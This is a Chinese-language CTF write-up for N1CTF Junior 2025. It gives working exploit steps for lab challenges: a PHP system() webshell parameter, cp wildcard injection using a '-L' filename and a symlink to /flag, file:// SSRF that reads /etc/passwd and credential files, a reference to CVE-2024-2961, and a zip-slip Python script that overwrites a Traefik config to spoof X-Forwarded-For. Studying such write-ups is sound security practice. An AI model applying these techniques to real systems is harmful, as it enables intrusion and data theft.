目录

  1. 1. 前言
  2. 2. backup
  3. 3. Gavatar
  4. 4. traefik
  5. 5. EasyDB(Unsolved)
  6. 6. display(Unsolved)

LOADING

第一次加载文章图片可能会花费较长时间

要不挂个梯子试试?(x

加载过慢请开启缓存 浏览器默认开启

N1CTF Junior 2025

2025/2/9 CTF线上赛
  |     |   总文章阅读量:

前言

比隔壁好打(

我要是大一就好了

image-20250210232233018


backup

ctrl+u找到hint:

//# sourceURL=pen.js
//$cmd = $_REQUEST["__2025.happy.new.year"];

传参_[2025.happy.new.year

然后就能 rce

image-20250209135301544

先读一下 index.php

<?php

// 真的这么简单吗
// highlight_file(__FILE__);


$cmd = $_REQUEST["__2025.happy.new.year"];

system($cmd);

?>

backup/keep.txt 和 primary/keep.txt 均为空

image-20250209135158525

接下来要提权,总之先蚁剑以 cmdlinux 连上去,注意到 primary 文件夹有写权限

进程

UID          PID    PPID  C STIME TTY          TIME CMD
root           1       0  0 13:34 ?        00:00:00 /bin/sh -c /start.sh
root           7       1  0 13:34 ?        00:00:00 /bin/bash /start.sh
root          13       7  0 13:34 ?        00:00:00 /bin/bash /backup.sh
root          22       1  0 13:34 ?        00:00:00 /usr/sbin/apache2 -k start
root          23       7  0 13:34 ?        00:00:00 sleep infinity
www-data      24      22  0 13:34 ?        00:00:00 /usr/sbin/apache2 -k start
www-data      27      22  0 13:34 ?        00:00:00 /usr/sbin/apache2 -k start
www-data     129      22  0 13:42 ?        00:00:00 /usr/sbin/apache2 -k start
www-data     134      22  0 13:42 ?        00:00:00 /usr/sbin/apache2 -k start
www-data     135      22  0 13:42 ?        00:00:00 /usr/sbin/apache2 -k start
www-data     136      22  0 13:42 ?        00:00:00 /usr/sbin/apache2 -k start
www-data     137      22  0 13:42 ?        00:00:00 /usr/sbin/apache2 -k start
www-data     143      22  0 13:42 ?        00:00:00 /usr/sbin/apache2 -k start
www-data     147      22  0 13:42 ?        00:00:00 /usr/sbin/apache2 -k start
www-data     149      22  0 13:42 ?        00:00:00 /usr/sbin/apache2 -k start
root        1357      13  0 14:18 ?        00:00:00 sleep 15s

/backup.sh

#!/bin/bash
cd /var/www/html/primary
while :
do
    cp -P * /var/www/html/backup/
    chmod 755 -R /var/www/html/backup/
    sleep 15s

done

这里每15秒会把 primary 下的所有文件复制到 backup

cp -P会直接复制整个软链接而不是软链接指向的内容

尝试在文件名处进行通配符在野注入,参考:https://www.cnblogs.com/linuxsec/articles/10701392.html

-L选项注入进去实现复制软链接指向的内容

echo "">'-L'
ln -s /flag flag

等待15s后 backup 下出现flag

image-20250210000435855


Gavatar

白名单文件上传

if (!in_array($finfo->file($_FILES['avatar']['tmp_name']), ['image/jpeg', 'image/png', 'image/gif'])) {
    die('Invalid file type');
}

或者任意url

elseif (!empty($_POST['url'])) {
    $image = @file_get_contents($_POST['url']);
    if ($image === false) die('Invalid URL');
    file_put_contents($avatarPath, $image);
}

试一下 file:///etc/passwd

image-20250209152608347

那么接下来要rce

测了下发现出网,那尝试写个马

获取user_id,file:///var/www/db/db.json读取db.json

{
    "users": [
        {
            "id": "befc3c75-5af3-4715-9450-ac69879ddd42",
            "username": "1",
            "password": "$2y$10$M47\/Bxtr4jlUgyEPCaYWMeOP5UdHyRVJaXySpwHr6el48U6BmsXCm"
        }
    ]
}

文件上传的路径有了,接下来的问题是控制后缀,这里是php8,phar寄了

考虑打CVE-2024-2961,file:///proc/self/maps 取 maps,file:///usr/lib/x86_64-linux-gnu/libc.so.6取 libc.so.6

然后跑脚本打payload

image-20250209225619027

image-20250209183432111


traefik

package main

import (
	"archive/zip"
	"fmt"
	"io"
	"net/http"
	"os"
	"path/filepath"
	"strings"

	"github.com/gin-gonic/gin"
	"github.com/google/uuid"
)

const uploadDir = "./uploads"

func unzipSimpleFile(file *zip.File, filePath string) error {
	outFile, err := os.Create(filePath)
	if err != nil {
		return err
	}
	defer outFile.Close()

	fileInArchive, err := file.Open()
	if err != nil {
		return err
	}
	defer fileInArchive.Close()

	_, err = io.Copy(outFile, fileInArchive)
	if err != nil {
		return err
	}
	return nil
}

func unzipFile(zipPath, destDir string) error {
	zipReader, err := zip.OpenReader(zipPath)
	if err != nil {
		return err
	}
	defer zipReader.Close()

	for _, file := range zipReader.File {
		filePath := filepath.Join(destDir, file.Name)
		if file.FileInfo().IsDir() {
			if err := os.MkdirAll(filePath, file.Mode()); err != nil {
				return err
			}
		} else {
			err = unzipSimpleFile(file, filePath)
			if err != nil {
				return err
			}
		}
	}
	return nil
}

func randFileName() string {
	return uuid.New().String()
}

func main() {
	r := gin.Default()
	r.LoadHTMLGlob("templates/*")

	r.GET("/flag", func(c *gin.Context) {
		xForwardedFor := c.GetHeader("X-Forwarded-For")

		if !strings.Contains(xForwardedFor, "127.0.0.1") {
			c.JSON(400, gin.H{"error": "only localhost can get flag"})
			return
		}

		flag := os.Getenv("FLAG")
		if flag == "" {
			flag = "flag{testflag}"
		}

		c.String(http.StatusOK, flag)
	})

	r.GET("/public/index", func(c *gin.Context) {
		c.HTML(http.StatusOK, "index.html", nil)
	})

	r.POST("/public/upload", func(c *gin.Context) {
		file, err := c.FormFile("file")
		if err != nil {
			c.JSON(400, gin.H{"error": "File upload failed"})
			return
		}

		randomFolder := randFileName()
		destDir := filepath.Join(uploadDir, randomFolder)

		if err := os.MkdirAll(destDir, 0755); err != nil {
			c.JSON(500, gin.H{"error": "Failed to create directory"})
			return
		}

		zipFilePath := filepath.Join(uploadDir, randomFolder+".zip")
		if err := c.SaveUploadedFile(file, zipFilePath); err != nil {
			c.JSON(500, gin.H{"error": "Failed to save uploaded file"})
			return
		}

		if err := unzipFile(zipFilePath, destDir); err != nil {
			c.JSON(500, gin.H{"error": "Failed to unzip file"})
			return
		}

		c.JSON(200, gin.H{
			"message": fmt.Sprintf("File uploaded and extracted successfully to %s", destDir),
		})
	})

	r.Run(":8080")
}

功能点就一个文件上传解压


https://github.com/jphetphoumy/traefik-CVE-2024-45410-poc

https://github.com/traefik/traefik/security/advisories/GHSA-62c8-mh53-4cqv

traefik v3.2.3 版本对不上

dynamic.yml

# Dynamic configuration

http:
  services:
    proxy:
      loadBalancer:
        servers:
          - url: "http://127.0.0.1:8080"
  routers:
    index:
      rule: Path(`/public/index`)
      entrypoints: [web]
      service: proxy
    upload:
      rule: Path(`/public/upload`)
      entrypoints: [web]
      service: proxy

猜测还是要从文件上传入手,利用 zipslip 实现目录穿越文件覆盖,参考:https://saucer-man.com/information_security/364.html

ai 改一个 dynamic.yml,添加 /flag 路由,并且使用中间件处理发送 xff 请求头

# Dynamic configuration

http:
  services:
    proxy:
      loadBalancer:
        servers:
          - url: "http://127.0.0.1:8080"
  
  routers:
    index:
      rule: Path(`/public/index`)
      entrypoints: [web]
      service: proxy
    upload:
      rule: Path(`/public/upload`)
      entrypoints: [web]
      service: proxy
    flag:
      rule: Path(`/flag`)
      entrypoints: [web]
      service: proxy
      middlewares:
        - add-header

  middlewares:
    add-header:
      headers:
        customRequestHeaders:
          X-Forwarded-For: "127.0.0.1"

生成压缩包

import zipfile
# the name of the zip file to generate
zf = zipfile.ZipFile('out.zip', 'w')
# the name of the malicious file that will overwrite the origial file (must exist on disk)
fname = 'dynamic.yml'
#destination path of the file
zf.write(fname, '../../../../../app/.config/dynamic.yml')

上传,此时的 dynamic.yml 就是我们构造的配置文件了

直接访问 /flag 即可

image-20250210214233462


EasyDB(Unsolved)

代码逻辑十分简单,就一个登录登出,账密 admin:admin

然后就是 jdbc

不会


display(Unsolved)

用iframe嵌入子页面可以重新唤起DOM解析器解析script标签

短短一行限制:const csp = "script-src 'self'; object-src 'none'; base-uri 'none';";